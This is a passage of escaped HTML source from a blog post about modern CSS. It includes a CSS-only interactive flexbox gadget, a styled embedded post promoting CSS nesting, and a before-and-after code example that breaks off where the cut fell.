0;&#xD;&#xA;    padding: 2px;&#xD;&#xA;    border-radius: 10px;&#xD;&#xA;    display: inline-block;&#xD;&#xA;    letter-spacing: -2px;&#xD;&#xA;    font-kerning: none;&#xD;&#xA;    line-height: 7px;&#xD;&#xA;    font-size: 50%;&#xD;&#xA;    translate: -1px 2px;&#xD;&#xA;    &amp;:hover {&#xD;&#xA;      background: #FFFFFF1A;&#xD;&#xA;    }&#xD;&#xA;    input {&#xD;&#xA;      opacity: 0;&#xD;&#xA;      position: absolute;&#xD;&#xA;      pointer-events: none;&#xD;&#xA;    }&#xD;&#xA;    &amp;:has(input:focus-visible) {&#xD;&#xA;      border-radius: 3px;&#xD;&#xA;      outline: 2px solid white;&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;  &amp;:has(#flex-panel-visible:not(:checked)) flex-popup { display: none; }&#xD;&#xA;  flex-popup {&#xD;&#xA;    transition: --tooltip-fade 0s 0.5s, opacity 0.1s 0.1s;&#xD;&#xA;    --tooltip-fade: 0%;&#xD;&#xA;    &amp;:has(.buttons&gt;label:hover) { transition: --tooltip-fade 0.2s 1.1s, opacity 0.1s 0.1s; --tooltip-fade: 100%; }&#xD;&#xA;    padding: 6px;&#xD;&#xA;    border-radius: 4px;&#xD;&#xA;    box-shadow: 0 1px 2px 0 #0004, 0 2px 6px 2px #0002;&#xD;&#xA;    font: 400 12px system-ui, sans-serif;&#xD;&#xA;    position: absolute;&#xD;&#xA;    z-index: 1;&#xD;&#xA;    display: inline-flex;&#xD;&#xA;    flex-direction: column;&#xD;&#xA;    translate: -24px 16px;&#xD;&#xA;    background: #3C3C3C;&#xD;&#xA;    width: 170px;&#xD;&#xA;    min-height: 100px;&#xD;&#xA;    cursor: default;&#xD;&#xA;    opacity: 1;&#xD;&#xA;    &amp; &gt; div:not(.buttons):not(:first-child) {&#xD;&#xA;      margin: 2px 0 1px;&#xD;&#xA;    }&#xD;&#xA;    .buttons {&#xD;&#xA;      display: flex;&#xD;&#xA;      height: 22px;&#xD;&#xA;      width: fit-content;&#xD;&#xA;      background: #282828;&#xD;&#xA;      border: 1px solid #757575;&#xD;&#xA;      border-radius: 3px;&#xD;&#xA;      label {&#xD;&#xA;        display:flex;&#xD;&#xA;      }&#xD;&#xA;      flex-icon {&#xD;&#xA;        display:flex;&#xD;&#xA;        justify-content:inherit;&#xD;&#xA;        align-items:inherit;&#xD;&#xA;        flex-direction:inherit;&#xD;&#xA;        gap:inherit;&#xD;&#xA;        flex-wrap: wrap;&#xD;&#xA;        width: 100%;&#xD;&#xA;        height: 100%;&#xD;&#xA;      }&#xD;&#xA;      label {&#xD;&#xA;        &amp;[rev] {&#xD;&#xA;          flex-direction: row-reverse;&#xD;&#xA;        }&#xD;&#xA;        &amp;[column] {&#xD;&#xA;          flex-direction: column;&#xD;&#xA;          &amp;[rev] {&#xD;&#xA;            flex-direction: column-reverse;&#xD;&#xA;          }&#xD;&#xA;        }&#xD;&#xA;        div {&#xD;&#xA;          background: currentColor;&#xD;&#xA;        }&#xD;&#xA;        justify-content:center;&#xD;&#xA;        align-items:center;&#xD;&#xA;        -webkit-user-select: none;&#xD;&#xA;        user-select: none;&#xD;&#xA;        color: #C7C7C7;&#xD;&#xA;        &amp;:hover {&#xD;&#xA;          color: #E3E3E3;&#xD;&#xA;          &amp;::after {&#xD;&#xA;            user-select: none;&#xD;&#xA;            pointer-events: none;&#xD;&#xA;            content: attr(aria-label);&#xD;&#xA;            position: absolute;&#xD;&#xA;            display: block;&#xD;&#xA;            background: #FFF;&#xD;&#xA;            color: #000;&#xD;&#xA;            border: 1px solid #000;&#xD;&#xA;            writing-mode: initial;&#xD;&#xA;            font-family: system-ui, sans-serif;&#xD;&#xA;            font-size: initial;&#xD;&#xA;            letter-spacing: initial;&#xD;&#xA;            line-height: initial;&#xD;&#xA;            padding: 0 4px 2px;&#xD;&#xA;            box-shadow: 2px 2px 3px 0 #0003;&#xD;&#xA;            z-index: 1;&#xD;&#xA;            translate: 16px 32px;&#xD;&#xA;            opacity: var(--tooltip-fade);&#xD;&#xA;          }&#xD;&#xA;        }&#xD;&#xA;        &amp;:has(input:checked) {&#xD;&#xA;          color: #7CACF8;&#xD;&#xA;        }&#xD;&#xA;        input {&#xD;&#xA;          opacity: 0;&#xD;&#xA;          position: absolute;&#xD;&#xA;          pointer-events: none;&#xD;&#xA;        }&#xD;&#xA;        &amp;:has(input:focus-visible) {&#xD;&#xA;          border-radius: 3px;&#xD;&#xA;          outline: 2px solid white;&#xD;&#xA;        }&#xD;&#xA;        cursor: pointer;&#xD;&#xA;        display: flex;&#xD;&#xA;        width: 22px;&#xD;&#xA;        height: 100%;&#xD;&#xA;        &amp;:not(:last-child) {&#xD;&#xA;          width: 23px;&#xD;&#xA;          border-right: 1px solid #757575;&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;  &amp;::selection, *::selection {&#xD;&#xA;    background: #A8C7FA;&#xD;&#xA;    color: #000;&#xD;&#xA;  }&#xD;&#xA;  flex-res-default {&#xD;&#xA;    /* can&#39;t use currentColor in tor browser */&#xD;&#xA;    color: #e3e3e361/*rgb(from currentColor r g b / 38%)*/;&#xD;&#xA;  }&#xD;&#xA;  &amp;:has(.line:hover&gt;flex-res) flex-popup { opacity: 0.25; }&#xD;&#xA;  /* i wouldn&#39;t blame you if you were implementing *this* and chose to go for javascript instead, it&#39;s not where css shines even if it can be done */&#xD;&#xA;  &amp;:not(:has(flex-popup label:nth-of-type(1) input[name=dg-fd]:checked)) flex-res[dg-fd]:nth-of-type(1),&#xD;&#xA;  &amp;:not(:has(flex-popup label:nth-of-type(2) input[name=dg-fd]:checked)) flex-res[dg-fd]:nth-of-type(2),&#xD;&#xA;  &amp;:not(:has(flex-popup label:nth-of-type(3) input[name=dg-fd]:checked)) flex-res[dg-fd]:nth-of-type(3),&#xD;&#xA;  &amp;:not(:has(flex-popup label:nth-of-type(4) input[name=dg-fd]:checked)) flex-res[dg-fd]:nth-of-type(4),&#xD;&#xA;  &amp;:not(:has(flex-popup label:nth-of-type(1) input[name=dg-fw]:checked)) flex-res[dg-fw]:nth-of-type(1),&#xD;&#xA;  &amp;:not(:has(flex-popup label:nth-of-type(2) input[name=dg-fw]:checked)) flex-res[dg-fw]:nth-of-type(2),&#xD;&#xA;  &amp;:not(:has(flex-popup label:nth-of-type(1) input[name=dg-ac]:checked)) flex-res[dg-ac]:nth-of-type(1),&#xD;&#xA;  &amp;:not(:has(flex-popup label:nth-of-type(2) input[name=dg-ac]:checked)) flex-res[dg-ac]:nth-of-type(2),&#xD;&#xA;  &amp;:not(:has(flex-popup label:nth-of-type(3) input[name=dg-ac]:checked)) flex-res[dg-ac]:nth-of-type(3),&#xD;&#xA;  &amp;:not(:has(flex-popup label:nth-of-type(4) input[name=dg-ac]:checked)) flex-res[dg-ac]:nth-of-type(4),&#xD;&#xA;  &amp;:not(:has(flex-popup label:nth-of-type(5) input[name=dg-ac]:checked)) flex-res[dg-ac]:nth-of-type(5),&#xD;&#xA;  &amp;:not(:has(flex-popup label:nth-of-type(6) input[name=dg-ac]:checked)) flex-res[dg-ac]:nth-of-type(6),&#xD;&#xA;  &amp;:not(:has(flex-popup label:nth-of-type(1) input[name=dg-jc]:checked)) flex-res[dg-jc]:nth-of-type(1),&#xD;&#xA;  &amp;:not(:has(flex-popup label:nth-of-type(2) input[name=dg-jc]:checked)) flex-res[dg-jc]:nth-of-type(2),&#xD;&#xA;  &amp;:not(:has(flex-popup label:nth-of-type(3) input[name=dg-jc]:checked)) flex-res[dg-jc]:nth-of-type(3),&#xD;&#xA;  &amp;:not(:has(flex-popup label:nth-of-type(4) input[name=dg-jc]:checked)) flex-res[dg-jc]:nth-of-type(4),&#xD;&#xA;  &amp;:not(:has(flex-popup label:nth-of-type(5) input[name=dg-jc]:checked)) flex-res[dg-jc]:nth-of-type(5),&#xD;&#xA;  &amp;:not(:has(flex-popup label:nth-of-type(6) input[name=dg-jc]:checked)) flex-res[dg-jc]:nth-of-type(6),&#xD;&#xA;  &amp;:not(:has(flex-popup label:nth-of-type(1) input[name=dg-ai]:checked)) flex-res[dg-ai]:nth-of-type(1),&#xD;&#xA;  &amp;:not(:has(flex-popup label:nth-of-type(2) input[name=dg-ai]:checked)) flex-res[dg-ai]:nth-of-type(2),&#xD;&#xA;  &amp;:not(:has(flex-popup label:nth-of-type(3) input[name=dg-ai]:checked)) flex-res[dg-ai]:nth-of-type(3),&#xD;&#xA;  &amp;:not(:has(flex-popup label:nth-of-type(4) input[name=dg-ai]:checked)) flex-res[dg-ai]:nth-of-type(4),&#xD;&#xA;  &amp;:not(:has(flex-popup label:nth-of-type(5) input[name=dg-ai]:checked)) flex-res[dg-ai]:nth-of-type(5),&#xD;&#xA;  &amp;:not(:has(flex-popup input[name=dg-fd]:checked)) div.line:has(&gt;flex-res[dg-fd]),&#xD;&#xA;  &amp;:not(:has(flex-popup input[name=dg-fw]:checked)) div.line:has(&gt;flex-res[dg-fw]),&#xD;&#xA;  &amp;:not(:has(flex-popup input[name=dg-ac]:checked)) div.line:has(&gt;flex-res[dg-ac]),&#xD;&#xA;  &amp;:not(:has(flex-popup input[name=dg-jc]:checked)) div.line:has(&gt;flex-res[dg-jc]),&#xD;&#xA;  &amp;:not(:has(flex-popup input[name=dg-ai]:checked)) div.line:has(&gt;flex-res[dg-ai]),&#xD;&#xA;  &amp;:has(flex-popup input[name=dg-fd]:checked) flex-res-default[dg-fd],&#xD;&#xA;  &amp;:has(flex-popup input[name=dg-fw]:checked) flex-res-default[dg-fw],&#xD;&#xA;  &amp;:has(flex-popup input[name=dg-ac]:checked) flex-res-default[dg-ac],&#xD;&#xA;  &amp;:has(flex-popup input[name=dg-jc]:checked) flex-res-default[dg-jc],&#xD;&#xA;  &amp;:has(flex-popup input[name=dg-ai]:checked) flex-res-default[dg-ai] {&#xD;&#xA;    display:none;&#xD;&#xA;  }&#xD;&#xA;  &amp;:not(:has(flex-popup label:nth-of-type(2) input[name=dg-fw]:checked)) div.line:has(&gt;flex-res[dg-ac]) {&#xD;&#xA;    opacity: 0.5;&#xD;&#xA;  }&#xD;&#xA;  &amp;:has(flex-popup label:nth-of-type(2) input[name=dg-fd]:checked) label,&#xD;&#xA;  &amp;:has(flex-popup label:nth-of-type(4) input[name=dg-fd]:checked) label {&#xD;&#xA;    &amp;:not(:has(flex-icon[norot])) {&#xD;&#xA;      flex-icon { rotate: 90deg; &amp;[rev] { rotate: -90deg; } }&#xD;&#xA;      &amp;:not(:last-child) flex-icon { translate: -0.5px -0.5px; }&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;   &amp;:has(flex-popup label:nth-of-type(3) input[name=dg-fd]:checked) flex-popup label flex-icon[flip] { rotate: 180deg }&#xD;&#xA;   &amp;:has(flex-popup label:nth-of-type(4) input[name=dg-fd]:checked) flex-popup label:not(:last-child) flex-icon[flip] { rotate: 270deg; translate: -0.5px 0.5px; }&#xD;&#xA;}&#xD;&#xA;/*.flexGadgetPadding { transition: 0.4s max-width, 0.4s max-height; max-width: 768px; max-height: 100px; }*/&#xD;&#xA;body:has(#flex-panel-visible:not(:checked)) .flexGadgetPadding { max-width: 0; max-height: 0; }&#xD;&#xA;#demo-center-gadget {&#xD;&#xA;  div { border: 1px solid red; }&#xD;&#xA;  display: flex;&#xD;&#xA;}&#xD;&#xA;#center-gadget {&#xD;&#xA;  &amp;:has(flex-popup label:nth-of-type(1) input[name=dg-fd]:checked) #demo-center-gadget { flex-direction: row };&#xD;&#xA;  &amp;:has(flex-popup label:nth-of-type(2) input[name=dg-fd]:checked) #demo-center-gadget { flex-direction: column };&#xD;&#xA;  &amp;:has(flex-popup label:nth-of-type(3) input[name=dg-fd]:checked) #demo-center-gadget { flex-direction: row-reverse };&#xD;&#xA;  &amp;:has(flex-popup label:nth-of-type(4) input[name=dg-fd]:checked) #demo-center-gadget { flex-direction: column-reverse };&#xD;&#xA;  &amp;:has(flex-popup label:nth-of-type(1) input[name=dg-fw]:checked) #demo-center-gadget { flex-wrap: nowrap };&#xD;&#xA;  &amp;:has(flex-popup label:nth-of-type(2) input[name=dg-fw]:checked) #demo-center-gadget { flex-wrap: wrap };&#xD;&#xA;  &amp;:has(flex-popup label:nth-of-type(1) input[name=dg-ac]:checked) #demo-center-gadget { align-content: center };&#xD;&#xA;  &amp;:has(flex-popup label:nth-of-type(2) input[name=dg-ac]:checked) #demo-center-gadget { align-content: flex-start };&#xD;&#xA;  &amp;:has(flex-popup label:nth-of-type(3) input[name=dg-ac]:checked) #demo-center-gadget { align-content: flex-end };&#xD;&#xA;  &amp;:has(flex-popup label:nth-of-type(4) input[name=dg-ac]:checked) #demo-center-gadget { align-content: space-around };&#xD;&#xA;  &amp;:has(flex-popup label:nth-of-type(5) input[name=dg-ac]:checked) #demo-center-gadget { align-content: space-between };&#xD;&#xA;  &amp;:has(flex-popup label:nth-of-type(6) input[name=dg-ac]:checked) #demo-center-gadget { align-content: stretch };&#xD;&#xA;  &amp;:has(flex-popup label:nth-of-type(1) input[name=dg-jc]:checked) #demo-center-gadget { justify-content: center };&#xD;&#xA;  &amp;:has(flex-popup label:nth-of-type(2) input[name=dg-jc]:checked) #demo-center-gadget { justify-content: flex-start };&#xD;&#xA;  &amp;:has(flex-popup label:nth-of-type(3) input[name=dg-jc]:checked) #demo-center-gadget { justify-content: flex-end };&#xD;&#xA;  &amp;:has(flex-popup label:nth-of-type(4) input[name=dg-jc]:checked) #demo-center-gadget { justify-content: space-around };&#xD;&#xA;  &amp;:has(flex-popup label:nth-of-type(5) input[name=dg-jc]:checked) #demo-center-gadget { justify-content: space-between };&#xD;&#xA;  &amp;:has(flex-popup label:nth-of-type(6) input[name=dg-jc]:checked) #demo-center-gadget { justify-content: space-evenly };&#xD;&#xA;  &amp;:has(flex-popup label:nth-of-type(1) input[name=dg-ai]:checked) #demo-center-gadget { align-items: center };&#xD;&#xA;  &amp;:has(flex-popup label:nth-of-type(2) input[name=dg-ai]:checked) #demo-center-gadget { align-items: flex-start };&#xD;&#xA;  &amp;:has(flex-popup label:nth-of-type(3) input[name=dg-ai]:checked) #demo-center-gadget { align-items: flex-end };&#xD;&#xA;  &amp;:has(flex-popup label:nth-of-type(4) input[name=dg-ai]:checked) #demo-center-gadget { align-items: stretch };&#xD;&#xA;  &amp;:has(flex-popup label:nth-of-type(5) input[name=dg-ai]:checked) #demo-center-gadget { align-items: baseline };&#xD;&#xA;}&#xD;&#xA;&lt;/style&gt;&#xD;&#xA;&lt;div class=&#34;over768 flexGadgetPadding&#34; style=&#34;width:290px;height:100px;float:right&#34;&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=&#34;under768 flexGadgetPadding&#34; style=&#34;width:100%;height:90px&#34;&gt;&lt;/div&gt;&#xD;&#xA;&lt;p&gt;Yes, the syntax isn&amp;rsquo;t the prettiest, but is it &lt;em&gt;really&lt;/em&gt; that hard?&lt;/p&gt;&#xA;&lt;p&gt;Besides, your devtools probably&lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt; come with a fun little gadget that lets you fiddle with the flexbox by just clicking around. You don&amp;rsquo;t even need to remember the syntax.&lt;/p&gt;&#xA;&lt;!--i wanted to write about: maybe something about box-model and clock directions--&gt;&#xD;&#xA;&lt;p&gt;I don&amp;rsquo;t think CSS is fundamentally any more difficult than JS, but if you skip the basics on one and only focus on the other, it&amp;rsquo;s no surprise it feels that way.&lt;/p&gt;&#xA;&lt;h2 id=&#34;but-its-painful-to-write&#34;&gt;&amp;ldquo;But it&amp;rsquo;s painful to write&amp;rdquo;&lt;/h2&gt;&#xA;&lt;p&gt;Another source of disdain for CSS is how awful it has been to write in the past. This is very much true, and is probably why things like &lt;a href=&#34;https://sass-lang.com/&#34;&gt;Sass&lt;/a&gt; and &lt;a href=&#34;https://tailwindcss.com/&#34;&gt;Tailwind&lt;/a&gt;&lt;sup id=&#34;fnref:2&#34;&gt;&lt;a href=&#34;#fn:2&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;2&lt;/a&gt;&lt;/sup&gt; exist.&lt;/p&gt;&#xA;&lt;p&gt;But that&amp;rsquo;s the thing, it &lt;em&gt;used&lt;/em&gt; to be bad.&lt;/p&gt;&#xA;&lt;DIV&gt;&lt;twoot-embed aria-label=&#34;a twoot from rebane2001&#34; role=&#34;figure&#34;&gt;&#xD;&#xA;&lt;div class=&#34;topbar&#34;&gt;&#xD;&#xA;&lt;!-- fallback for no svg (eg tor browser) --&gt;&#xD;&#xA;&lt;div class=&#34;pfp svgFallback&#34; style=&#34;position:absolute;font-size: 36px;width:48px;text-align:center&#34;&gt;🦊&lt;/div&gt;&#xD;&#xA;&lt;!-- tried to make a very compact inline svg of my logo, it&#39;s not super accurate but looks fine at small sizes --&gt;&#xD;&#xA;&lt;svg class=&#34;pfp&#34; version=&#34;1.1&#34; viewBox=&#34;4 4 260 260&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34; fill=&#34;#202C39&#34;&gt;&lt;path id=&#34;line&#34; d=&#34;m23 27v112s-1 12 10 24c11 12 76 77 76 77s10 10 24 10c14 0 26-10 26-10l78-80s8-8 8-23v-110l-45 54s-10 16-33 7c-23-9-55-5-70 0-9 3-20 3-31-9-10-10-44-54-43-54z&#34; style=&#34;stroke-linecap:round;stroke-linejoin:round;stroke-width:11&#34;/&gt;&lt;use href=&#34;#line&#34; fill=&#34;#EB8258&#34; stroke=&#34;none&#34; /&gt;&lt;circle cx=&#34;83&#34; cy=&#34;144&#34; r=&#34;15&#34;/&gt;&lt;circle cx=&#34;187&#34; cy=&#34;144&#34; r=&#34;15&#34;/&gt;&lt;path d=&#34;m84 170s-15 1-16 14 3 15 3 15l47 47 35 1 48-52s5-11-4-20c-9-9-22-0-22-0s-29 14-39 14c-13 0-45-17-45-17z&#34; fill=&#34;#fff&#34; /&gt;&lt;use href=&#34;#line&#34; fill=&#34;none&#34; stroke=&#34;#202C39&#34; /&gt;&lt;path d=&#34;m116 245s4-16 17-16c13-0 19 17 19 17z&#34;/&gt;&lt;style&gt;.svgFallback{display:none}&lt;/style&gt;&lt;/svg&gt;&#xD;&#xA;&lt;div class=&#34;username&#34;&gt;&lt;span&gt;Rebane&lt;/span&gt;&lt;span&gt;@rebane2001&lt;/span&gt;&lt;/div&gt;&lt;div class=&#34;links&#34;&gt;&lt;a href=&#34;https://twitter.com/rebane2001/status/1909531218816712986&#34; style=&#34;--c:/*#179CF0*/#24A4F3&#34; title=&#34;Link to Tweet&#34;&gt;🐦&lt;/a&gt;&lt;a href=&#34;https://bsky.app/profile/rebane2001.bsky.social/post/3lmc4ax3m7k2y&#34; style=&#34;--c:#1889FE&#34; title=&#34;Link to Bluesky&#34;&gt;🦋&lt;/a&gt;&lt;a href=&#34;https://infosec.exchange/@rebane2001/114301515053488121&#34; style=&#34;--c:#5E53ED&#34; title=&#34;Link to Toot&#34;&gt;🐘&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=&#34;content&#34;&gt;btw u should write css like&#xD;&#xA;&lt;span role=&#34;code&#34;&gt;&#xD;&#xA;cool-thing {&#xD;&#xA;    display: flex;&#xD;&#xA;    &amp;[shadow] {&#xD;&#xA;        box-shadow: 1px 1px #0007;&#xD;&#xA;    }&lt;!-- edit: changed screen to width --&gt;&#xD;&#xA;    @media (width &amp;lt; 480px) {&#xD;&#xA;        flex-direction: column;&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;&lt;/span&gt;&#xD;&#xA;and html like&#xD;&#xA;&lt;!----&gt;&#xD;&#xA;&amp;lt;cool-thing shadow&amp;gt;wow&amp;lt;/cool-thing&amp;gt;&#xD;&#xA;&lt;!----&gt;&#xD;&#xA;because it&#39;s allowed &amp; modern &amp; neat!&lt;/div&gt;&#xD;&#xA;&lt;time datetime=&#34;2025-04-08T08:58:14.000Z&#34;&gt;11:58 AM · Apr 8, 2025&lt;/time&gt;&#xD;&#xA;&lt;hr&gt;&#xD;&#xA;&lt;div class=&#34;interactions&#34;&gt;&lt;span&gt;❤️&lt;/span&gt; 1.5K&lt;/div&gt;&#xD;&#xA;&lt;/twoot-embed&gt;&lt;/DIV&gt;&#xD;&#xA;&lt;style&gt;&#xD;&#xA;  twoot-embed {&#xD;&#xA;    --size-mult: 1;&#xD;&#xA;    @media (width &lt; 440px) { --size-mult: 0.8; }&#xD;&#xA;    @media (width &lt; 360px) { --size-mult: 0.7; }&#xD;&#xA;    --fg: #0F1419;&#xD;&#xA;    --bg: #FFF;&#xD;&#xA;    --bg-hover: #F7F9F9;&#xD;&#xA;    --dim: #536471;&#xD;&#xA;    --border: #CFD9DE;&#xD;&#xA;    @media (prefers-color-scheme: dark) {&#xD;&#xA;      --fg: #F7F9F9;&#xD;&#xA;      --bg: #15202B;&#xD;&#xA;      --bg-hover: #1E2732;&#xD;&#xA;      --dim: #8B98A5;&#xD;&#xA;      --border: #425364;&#xD;&#xA;    }&#xD;&#xA;    *::selection {&#xD;&#xA;      background: Highlight;&#xD;&#xA;      color: HighlightText;&#xD;&#xA;    }&#xD;&#xA;    color: var(--fg);&#xD;&#xA;    font: calc(var(--size-mult)*19px) -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Helvetica, Arial, sans-serif;&#xD;&#xA;    border-radius: 12px;&#xD;&#xA;    border: 1px solid var(--border);&#xD;&#xA;    padding: 12px 16px;&#xD;&#xA;    margin-bottom: -8px;&#xD;&#xA;    transition: 0.2s background;&#xD;&#xA;    background: var(--bg);&#xD;&#xA;    &amp;:hover { background: var(--bg-hover); }&#xD;&#xA;    display: block;&#xD;&#xA;    max-width: 516px;&#xD;&#xA;    .topbar {&#xD;&#xA;      display: flex;&#xD;&#xA;      align-items: center;&#xD;&#xA;      .pfp {&#xD;&#xA;        color-scheme: only light;&#xD;&#xA;        -webkit-user-select: none;&#xD;&#xA;        user-select: none;&#xD;&#xA;        width: calc(var(--size-mult)*46px);&#xD;&#xA;        height: calc(var(--size-mult)*46px);&#xD;&#xA;        border-radius: 48px;&#xD;&#xA;        background: var(--bg);&#xD;&#xA;        overflow: clip;&#xD;&#xA;        margin-right: 4px;&#xD;&#xA;        cursor: grab;&#xD;&#xA;        transition: 0.2s background, 1s rotate;&#xD;&#xA;        rotate: 0;&#xD;&#xA;        &amp;:hover {&#xD;&#xA;          transition: 0.2s background, 1s 5s rotate;&#xD;&#xA;          background: rgb(127 127 127 / 0.5);&#xD;&#xA;          rotate: 360deg;&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;      .username {&#xD;&#xA;        font-size: calc(var(--size-mult)*14px);&#xD;&#xA;        display: flex;&#xD;&#xA;        flex-direction: column;&#xD;&#xA;        span:first-child {&#xD;&#xA;          font-weight: 700;&#xD;&#xA;          margin-bottom: 2px;&#xD;&#xA;        }&#xD;&#xA;        span:last-child {&#xD;&#xA;          color: var(--dim);&#xD;&#xA;          font-feature-settings: &#34;ss01&#34;;&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;      .links {&#xD;&#xA;        display: flex;&#xD;&#xA;        gap: 2px;&#xD;&#xA;        margin-left: auto;&#xD;&#xA;        font-size: calc(var(--size-mult)*28px);&#xD;&#xA;        a {&#xD;&#xA;          background: var(--c);&#xD;&#xA;          color: #0002;&#xD;&#xA;          background-clip: text;&#xD;&#xA;          transition: 0.2s background, 0.2s color;&#xD;&#xA;          &amp;:hover {&#xD;&#xA;            background: hsl(from var(--c) h calc(s + 25) calc(l + 10.5));&#xD;&#xA;            color: #0001;&#xD;&#xA;            background-clip: text;&#xD;&#xA;          }&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;    .content {&#xD;&#xA;      line-height: 1.21053em;&#xD;&#xA;      margin: 12px 0;&#xD;&#xA;      white-space: pre-wrap;&#xD;&#xA;    }&#xD;&#xA;    time {&#xD;&#xA;      font-size: calc(var(--size-mult)*14px);&#xD;&#xA;      color: var(--dim);&#xD;&#xA;      cursor: pointer;&#xD;&#xA;      &amp;:hover {&#xD;&#xA;        text-decoration: underline;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;    hr {&#xD;&#xA;      height: 1px;&#xD;&#xA;      background: var(--border);&#xD;&#xA;      border: none;&#xD;&#xA;    }&#xD;&#xA;    .interactions {&#xD;&#xA;      cursor: default;&#xD;&#xA;      font-size: calc(var(--size-mult)*14px);&#xD;&#xA;      font-weight: 700;&#xD;&#xA;      span {&#xD;&#xA;        background: #F91880;&#xD;&#xA;        color: transparent;&#xD;&#xA;        background-clip: text;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;&lt;/style&gt;&#xD;&#xA;&lt;p&gt;&lt;em&gt;(yes! the code above is standards compliant&lt;sup id=&#34;fnref:3&#34;&gt;&lt;a href=&#34;#fn:3&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;3&lt;/a&gt;&lt;/sup&gt;)&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;In the past few years, CSS has received a ton of awesome quality-of-life additions, making it nice to do stuff that has historically required preprocessors or JavaScript.&lt;/p&gt;&#xA;&lt;p&gt;Nesting is definitely one of my favorite additions!&lt;/p&gt;&#xA;&lt;p&gt;In the past, you&amp;rsquo;ve had to write code that looks like this:&lt;/p&gt;&#xA;&lt;pre class=&#34;sx-block&#34;&gt;&lt;code&gt;:&lt;sx-l&gt;root&lt;/sx-l&gt; {&#xD;&#xA;  &lt;sx-e&gt;--like-color&lt;/sx-e&gt;: &lt;sx-n&gt;#24A4F3&lt;/sx-n&gt;;&#xD;&#xA;  &lt;sx-e&gt;--like-color-hover&lt;/sx-e&gt;: &lt;sx-n&gt;#54B8F5&lt;/sx-n&gt;;&#xD;&#xA;  &lt;sx-e&gt;--like-color-active&lt;/sx-e&gt;: &lt;sx-n&gt;#0A6BA8&lt;/sx-n&gt;;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;.&lt;sx-y&gt;post&lt;/sx-y&gt; {&#xD;&#xA;  &lt;sx-p&gt;display&lt;/sx-p&gt;: &lt;sx-a&gt;block&lt;/sx-a&gt;;&#xD;&#xA;  &lt;sx-p&gt;background&lt;/sx-p&gt;: &lt;sx-n&gt;#EEE&lt;/sx-n&gt;;&#xD;&#xA;  &lt;sx-p&gt;color&lt;/sx-p&gt;: &lt;sx-n&gt;#111&lt;/sx-n&gt;;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;.&lt;sx-y&gt;post&lt;/sx-y&gt; .&lt;sx-y&gt;avatar&lt;/sx-y&gt; {&#xD;&#xA;  &lt;sx-p&gt;width&lt;/sx-p&gt;: &lt;sx-n&gt;48px&lt;/sx-n&gt;;&#xD;&#xA;  &lt;sx-p&gt;height&lt;/sx-p&gt;: &lt;sx-n&gt;48px&lt;/sx-n&gt;;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;.&lt;sx-y&gt;post&lt;/sx-y&gt; &amp;gt; .&lt;sx-y&gt;buttons&lt;/sx-y&gt; {&#xD;&#xA;  &lt;sx-p&gt;display&lt;/sx-p&gt;: &lt;sx-a&gt;flex&lt;/sx-a&gt;;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;.&lt;sx-y&gt;post&lt;/sx-y&gt; &amp;gt; .&lt;sx-y&gt;buttons&lt;/sx-y&gt; .&lt;sx-y&gt;label&lt;/sx-y&gt; {&#xD;&#xA;  &lt;sx-p&gt;font-size&lt;/sx-p&gt;: &lt;sx-n&gt;24px&lt;/sx-n&gt;;&#xD;&#xA;  &lt;sx-p&gt;padding&lt;/sx-p&gt;: &lt;sx-n&gt;8px&lt;/sx-n&gt;;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;.&lt;sx-y&gt;post&lt;/sx-y&gt; &amp;gt; .&lt;sx-y&gt;buttons&lt;/sx-y&gt; .&lt;sx-y&gt;like&lt;/sx-y&gt; {&#xD;&#xA;  &lt;sx-p&gt;cursor&lt;/sx-p&gt;: &lt;sx-a&gt;pointer&lt;/sx-a&gt;;&#xD;&#xA;  &lt;sx-p&gt;color&lt;/sx-p&gt;: &lt;sx-k&gt;var&lt;/sx-k&gt;(&lt;sx-e&gt;--like-color&lt;/sx-e&gt;);&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;.&lt;sx-y&gt;post&lt;/sx-y&gt; &amp;gt; .&lt;sx-y&gt;buttons&lt;/sx-y&gt; .&lt;sx-y&gt;like&lt;/sx-y&gt;:&lt;sx-l&gt;hover&lt;/sx-l&gt; {&#xD;&#xA;  &lt;sx-p&gt;color&lt;/sx-p&gt;: &lt;sx-k&gt;var&lt;/sx-k&gt;(&lt;sx-e&gt;--like-color-hover&lt;/sx-e&gt;);&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;.&lt;sx-y&gt;post&lt;/sx-y&gt; &amp;gt; .&lt;sx-y&gt;buttons&lt;/sx-y&gt; .&lt;sx-y&gt;like&lt;/sx-y&gt;:&lt;sx-l&gt;active&lt;/sx-l&gt; {&#xD;&#xA;  &lt;sx-p&gt;color&lt;/sx-p&gt;: &lt;sx-k&gt;var&lt;/sx-k&gt;(&lt;sx-e&gt;--like-color-active&lt;/sx-e&gt;);&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;&lt;sx-z&gt;@media&lt;/sx-z&gt; &lt;sx-k&gt;screen&lt;/sx-k&gt; (&lt;sx-p&gt;max-width&lt;/sx-p&gt;: 